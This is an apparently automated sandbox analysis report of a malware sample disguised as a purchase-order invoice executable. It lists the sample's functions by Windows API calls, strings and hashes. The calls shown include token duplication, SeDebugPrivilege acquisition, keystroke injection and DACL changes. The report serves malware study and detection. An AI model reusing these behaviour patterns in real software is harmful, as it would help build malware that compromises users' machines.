                                                                                            • Opcode Fuzzy Hash: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                            • Instruction Fuzzy Hash: 118366F1905B409FC351DFAAF984605BAE1F3AA3157A2857FC5088B731D7B8194A8F4C
                                                                                            Function 004375B0 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 126threadkeyboardwindowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetForegroundWindow.USER32(00000000,?,?,004448AF,?), ref: 004375B3
                                                                                            • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004375D8
                                                                                            • IsIconic.USER32(?), ref: 004375E1
                                                                                            • ShowWindow.USER32(?,00000009,?,?,004448AF,?), ref: 004375EE
                                                                                            • SetForegroundWindow.USER32(?), ref: 004375FD
                                                                                            • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00437615
                                                                                            • GetCurrentThreadId.KERNEL32 ref: 00437619
                                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 00437624
                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437632
                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437638
                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 0043763E
                                                                                            • SetForegroundWindow.USER32(?), ref: 00437645
                                                                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437654
                                                                                            • keybd_event.USER32(00000012,00000000), ref: 0043765D
                                                                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 0043766B
                                                                                            • keybd_event.USER32(00000012,00000000), ref: 00437674
                                                                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437682
                                                                                            • keybd_event.USER32(00000012,00000000), ref: 0043768B
                                                                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437699
                                                                                            • keybd_event.USER32(00000012,00000000), ref: 004376A2
                                                                                            • SetForegroundWindow.USER32(?), ref: 004376AD
                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376CD
                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D3
                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D9
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                                            • String ID: Shell_TrayWnd
                                                                                            • API String ID: 3778422247-2988720461
                                                                                            • Opcode ID: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                            • Instruction ID: 6108fbe056c1a000d5481f33e03d330ccc862392245923d3170deea12ea07584
                                                                                            • Opcode Fuzzy Hash: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                            • Instruction Fuzzy Hash: AC31A4712803157FE6245BA59D0EF7F3F9CEB48B51F10082EFA02EA1D1DAE458009B79
                                                                                            Function 004461ED Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 227processCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 0044621B
                                                                                            • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,?,?,?,?,?,?,?), ref: 00446277
                                                                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0044628A
                                                                                            • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004462A4
                                                                                            • GetProcessWindowStation.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462BD
                                                                                            • SetProcessWindowStation.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462C8
                                                                                            • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004462E4
                                                                                            • _wcslen.LIBCMT ref: 0044639E
                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                            • _wcsncpy.LIBCMT ref: 004463C7
                                                                                            • LoadUserProfileW.USERENV(?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 004463E7
                                                                                            • CreateEnvironmentBlock.USERENV(?,?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 00446408
                                                                                            • CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?,?,00000000,?), ref: 00446446
                                                                                            • UnloadUserProfile.USERENV(?,?,?,?,?,?,?), ref: 00446483
                                                                                            • CloseWindowStation.USER32(00000000,?,?,?,?), ref: 00446497
                                                                                            • CloseDesktop.USER32(00000000,?,?,?,?), ref: 0044649E
                                                                                            • SetProcessWindowStation.USER32(?,?,?,?,?), ref: 004464A9
                                                                                            • CloseHandle.KERNEL32(?,?,?,?,?), ref: 004464B4
                                                                                            • DestroyEnvironmentBlock.USERENV(?,?,?,?,?,?), ref: 004464C8
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: StationWindow$CloseProcess$User$BlockCreateDesktopEnvironmentHandleOpenProfile$DestroyDuplicateLoadTokenUnload_malloc_memset_wcslen_wcsncpy
                                                                                            • String ID: $default$winsta0
                                                                                            • API String ID: 2173856841-1027155976
                                                                                            • Opcode ID: dd3fbc5dfca59238d4d8e810ac2ec3cbfbbbad9087bbfadb14fa7de528d26857
                                                                                            • Instruction ID: eafd5d154f9bcf2590b8f8eb1e0f3d39b01f77f2fd200ee1cb9c7344d9c52646
                                                                                            • Opcode Fuzzy Hash: dd3fbc5dfca59238d4d8e810ac2ec3cbfbbbad9087bbfadb14fa7de528d26857
                                                                                            • Instruction Fuzzy Hash: DD819170208341AFE724DF65C848B6FBBE8AF89744F04491DF69097291DBB8D805CB6B
                                                                                            Function 0044BD29 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 178filestringCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,?,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,004A8E80,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,0040F3D2), ref: 0040FFCA
                                                                                              • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A45
                                                                                              • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A6C
                                                                                              • Part of subcall function 00436A1D: __wcsicoll.LIBCMT ref: 00436A93
                                                                                              • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                            • _wcscat.LIBCMT ref: 0044BD96
                                                                                            • _wcscat.LIBCMT ref: 0044BDBF
                                                                                            • __wsplitpath.LIBCMT ref: 0044BDEC
                                                                                            • FindFirstFileW.KERNEL32(?,?), ref: 0044BE04
                                                                                            • _wcscpy.LIBCMT ref: 0044BE73
                                                                                            • _wcscat.LIBCMT ref: 0044BE85
                                                                                            • _wcscat.LIBCMT ref: 0044BE97
                                                                                            • lstrcmpiW.KERNEL32(?,?), ref: 0044BEC3
                                                                                            • DeleteFileW.KERNEL32(?), ref: 0044BED5
                                                                                            • MoveFileW.KERNEL32(?,?), ref: 0044BEF5
                                                                                            • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF0C
                                                                                            • DeleteFileW.KERNEL32(?), ref: 0044BF17
                                                                                            • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF2E
                                                                                            • FindClose.KERNEL32(00000000), ref: 0044BF35
                                                                                            • MoveFileW.KERNEL32(?,?), ref: 0044BF51
                                                                                            • FindNextFileW.KERNEL32(00000000,00000010), ref: 0044BF66
                                                                                            • FindClose.KERNEL32(00000000), ref: 0044BF7E
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$Find_wcscat$__wsplitpath$CloseCopyDeleteMove$AttributesFirstFullNameNextPath__wcsicoll_wcscpylstrcmpi
                                                                                            • String ID: \*.*
                                                                                            • API String ID: 2188072990-1173974218
                                                                                            • Opcode ID: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                            • Instruction ID: 14f7055b3521afb04026f42b490306401b0ba37f80ed0ea0ca267746d8cc4687
                                                                                            • Opcode Fuzzy Hash: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                            • Instruction Fuzzy Hash: CA5166B2008344AAD720DBA4DC44FDF73E8AB85314F448D1EF68982141EB79D64CCBAA
                                                                                            Function 00434D50 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 114fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00434D75
                                                                                            • __swprintf.LIBCMT ref: 00434D91
                                                                                            • _wcslen.LIBCMT ref: 00434D9B
                                                                                            • _wcslen.LIBCMT ref: 00434DB0
                                                                                            • _wcslen.LIBCMT ref: 00434DC5
                                                                                            • CreateDirectoryW.KERNEL32(?,00000000), ref: 00434DD7
                                                                                            • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00434E0A
                                                                                            • _memset.LIBCMT ref: 00434E27
                                                                                            • _wcslen.LIBCMT ref: 00434E3C
                                                                                            • _wcsncpy.LIBCMT ref: 00434E6F
                                                                                            • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00434EA9
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00434EB4
                                                                                            • RemoveDirectoryW.KERNEL32(?), ref: 00434EBB
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00434ECE
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcslen$CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                                            • String ID: :$\$\??\%s
                                                                                            • API String ID: 302090198-3457252023
                                                                                            • Opcode ID: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                                            • Instruction ID: 730b2dca1b6b09bd6b76555d3316dee95f4818bcffb97f26f8f03165767cfd2f
                                                                                            • Opcode Fuzzy Hash: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                                            • Instruction Fuzzy Hash: 30416676604340ABE330EB64DC49FEF73E8AFD8714F00891EF649921D1E7B4A645876A
                                                                                            Function 00464422 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 193threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00444233: _wcslen.LIBCMT ref: 0044424E
                                                                                            • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0046449E
                                                                                            • GetLastError.KERNEL32 ref: 004644B4
                                                                                            • GetCurrentThread.KERNEL32 ref: 004644C8
                                                                                            • OpenThreadToken.ADVAPI32(00000000), ref: 004644CF
                                                                                            • GetCurrentProcess.KERNEL32(00000028,?), ref: 004644E0
                                                                                            • OpenProcessToken.ADVAPI32(00000000), ref: 004644E7
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: OpenProcess$CurrentThreadToken$ErrorLast_wcslen
                                                                                            • String ID: SeDebugPrivilege
                                                                                            • API String ID: 1312810259-2896544425
                                                                                            • Opcode ID: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                            • Instruction ID: c3f5e6af55eb0da9fa74db60d4f5a84adac3a89a74612fbe59a223ef38337450
                                                                                            • Opcode Fuzzy Hash: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                            • Instruction Fuzzy Hash: 0E51A171200201AFD710DF65DD85F5BB7A8AB84704F10892EFB44DB2C1D7B8E844CBAA
                                                                                            Function 004037E0 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 359COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403871
                                                                                            • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403887
                                                                                            • __wsplitpath.LIBCMT ref: 004038B2
                                                                                              • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                            • _wcscpy.LIBCMT ref: 004038C7
                                                                                            • _wcscat.LIBCMT ref: 004038DC
                                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 004038EC
                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                              • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                              • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                              • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                              • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,0040397D,?,?,00000010), ref: 00403F54
                                                                                              • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,00000010), ref: 00403F8B
                                                                                            • _wcscpy.LIBCMT ref: 004039C2
                                                                                            • _wcslen.LIBCMT ref: 00403A53
                                                                                            • _wcslen.LIBCMT ref: 00403AAA
                                                                                            Strings
                                                                                            • #include depth exceeded. Make sure there are no recursive includes, xrefs: 0042B87B
                                                                                            • Unterminated string, xrefs: 0042B9BA
                                                                                            • Error opening the file, xrefs: 0042B8AC
                                                                                            • _, xrefs: 00403B48
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpy$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_wcscatstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                            • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
                                                                                            • API String ID: 4115725249-188983378
                                                                                            • Opcode ID: 9d3cc106af837a0ba3a302398e1680714f0cc5ac52ed53ec90940b3ab90f08f5
                                                                                            • Instruction ID: dca64db042171ec5605b2d10b6a92a42a2076cc25022adee7b8115af8a15fc96
                                                                                            • Opcode Fuzzy Hash: 9d3cc106af837a0ba3a302398e1680714f0cc5ac52ed53ec90940b3ab90f08f5
                                                                                            • Instruction Fuzzy Hash: 16D1D5B15083019AD710EF65C841AEB77E8AF95308F04492FF5C563292DB78DA49C7AB
                                                                                            Function 00434BEE Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 139fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindFirstFileW.KERNEL32(?,?), ref: 00434C12
                                                                                            • GetFileAttributesW.KERNEL32(?), ref: 00434C4F
                                                                                            • SetFileAttributesW.KERNEL32(?,?), ref: 00434C65
                                                                                            • FindNextFileW.KERNEL32(00000000,?), ref: 00434C77
                                                                                            • FindClose.KERNEL32(00000000), ref: 00434C88
                                                                                            • FindClose.KERNEL32(00000000), ref: 00434C9C
                                                                                            • FindFirstFileW.KERNEL32(*.*,?), ref: 00434CB7
                                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 00434CFE
                                                                                            • SetCurrentDirectoryW.KERNEL32(0048A090), ref: 00434D22
                                                                                            • FindNextFileW.KERNEL32(00000000,00000010), ref: 00434D2A
                                                                                            • FindClose.KERNEL32(00000000), ref: 00434D35
                                                                                            • FindClose.KERNEL32(00000000), ref: 00434D43
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                                                            • String ID: *.*
                                                                                            • API String ID: 1409584000-438819550
                                                                                            • Opcode ID: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                            • Instruction ID: 399dbb17912f16e5170155dcc5475d9346bc7ba5aa4a4c8a0ea4d4714b2c7a66
                                                                                            • Opcode Fuzzy Hash: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                            • Instruction Fuzzy Hash: 4141D8726042086BD710EF64DC45AEFB3A8AAC9311F14592FFD54C3280EB79E915C7B9
                                                                                            Function 00444078 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94timesleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Timetime$Sleep
                                                                                            • String ID: BUTTON
                                                                                            • API String ID: 4176159691-3405671355
                                                                                            • Opcode ID: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                            • Instruction ID: 32c89cc89acb3c111fc3cc5f781edb0c57d51ec263d79eeef99f8852f1a29925
                                                                                            • Opcode Fuzzy Hash: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                            • Instruction Fuzzy Hash: CB21B7723843016BE330DB74FD4DF5A7B94A7A5B51F244876F600E6290D7A5D442876C
                                                                                            Function 00445DD3 Relevance: 18.2, APIs: 12, Instructions: 179COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 004392DE
                                                                                              • Part of subcall function 004392BC: GetLastError.KERNEL32 ref: 004392E4
                                                                                              • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0043930B
                                                                                              • Part of subcall function 0043928B: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004392A5
                                                                                            • GetSecurityDescriptorDacl.ADVAPI32(?,00000004,?,?,?,?), ref: 00445E4B
                                                                                            • _memset.LIBCMT ref: 00445E61
                                                                                            • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00445E83
                                                                                            • GetLengthSid.ADVAPI32(?), ref: 00445E92
                                                                                            • GetAce.ADVAPI32(?,00000000,?,?,00000018), ref: 00445EDE
                                                                                            • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00445EFB
                                                                                            • GetLengthSid.ADVAPI32(?,?,00000018), ref: 00445F11
                                                                                            • GetLengthSid.ADVAPI32(?,00000008,?,?,00000000,?,00000000), ref: 00445F39
                                                                                            • CopySid.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00445F40
                                                                                            • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?,?,00000000,?,00000000), ref: 00445F6E
                                                                                            • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,00000000,?,00000000), ref: 00445F8B
                                                                                            • SetUserObjectSecurity.USER32(?,?,?), ref: 00445FA0
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                                            • String ID:
                                                                                            • API String ID: 3490752873-0
                                                                                            • Opcode ID: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                            • Instruction ID: 491154c1e478dcf6c9ac3cbca3c2c9e2645d4ee7bbdc2abf5fae4ada557f6fe4
                                                                                            • Opcode Fuzzy Hash: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                            • Instruction Fuzzy Hash: 85519D71108301ABD610DF61CD84E6FB7E9AFC9B04F04491EFA869B242D778E909C76B
                                                                                            Function 0047A999 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 288comCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OleInitialize.OLE32(00000000), ref: 0047AA03
                                                                                            • CLSIDFromProgID.OLE32(00000000,?), ref: 0047AA27
                                                                                            • CoCreateInstance.OLE32(?,00000000,00000005,004829C0,?), ref: 0047AAAA
                                                                                            • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0047AB6B
                                                                                            • _memset.LIBCMT ref: 0047AB7C
                                                                                            • _wcslen.LIBCMT ref: 0047AC68
                                                                                            • _memset.LIBCMT ref: 0047ACCD
                                                                                            • CoCreateInstanceEx.OLE32 ref: 0047AD06
                                                                                            • CoSetProxyBlanket.OLE32(004829D0,?,?,?,?,?,?,00000800), ref: 0047AD53
                                                                                            Strings
                                                                                            • NULL Pointer assignment, xrefs: 0047AD84
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CreateInitializeInstance_memset$BlanketFromProgProxySecurity_wcslen
                                                                                            • String ID: NULL Pointer assignment
                                                                                            • API String ID: 1588287285-2785691316
                                                                                            • Opcode ID: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
